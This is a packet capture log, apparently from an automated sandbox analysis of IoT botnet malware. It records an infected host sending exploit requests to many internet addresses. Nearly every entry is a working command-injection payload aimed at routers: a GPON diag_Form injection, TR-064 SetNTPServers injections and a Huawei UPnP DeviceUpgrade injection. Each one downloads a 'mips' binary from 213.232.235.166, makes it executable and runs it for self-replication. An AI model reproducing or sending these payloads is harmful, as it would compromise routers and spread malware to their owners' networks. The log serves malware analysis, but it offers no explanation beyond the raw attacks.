Apr 15, 2024 08:53:28.832416058 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.143392086 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:28 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.13	56884	192.250.255.34	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.228991985 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:27.544446945 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:31 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.13	33112	14.62.67.218	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.555946112 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.13	56644	115.18.55.39	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.558135033 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.13	50270	115.7.120.56	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.562568903 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.13	49088	50.32.145.174	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.780733109 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.13	42322	180.169.17.112	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.837413073 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:29.280392885 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:31.008395910 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:34.560431004 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:41.472408056 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:55.296438932 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.13	33132	14.62.67.218	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.839927912 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.13	49720	220.85.134.187	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.847253084 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:28.224405050 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.13	40126	152.171.175.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.854345083 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.13	54258	34.43.81.131	37215

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.857247114 CEST	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 448 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 20 2d 6c 20 2f 74 6d 70 2f 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 68 75 61 77 65 69 2e 73 65 6c 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 213.232.235.166 -l /tmp/a -r /mips; /bin/busybox chmod 777 /tmp/a; /tmp/a huawei.selrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.13	56662	115.18.55.39	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.862374067 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.13	50292	115.7.120.56	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:27.864717960 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.13	49104	50.32.145.174	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.007230997 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.13	59898	92.177.41.180	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.086947918 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.13	49736	220.85.134.187	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.137593985 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:28.516391039 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.13	40142	152.171.175.18	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.152893066 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.13	42308	154.95.231.35	80

Timestamp	Bytes transferred	Direction	Data
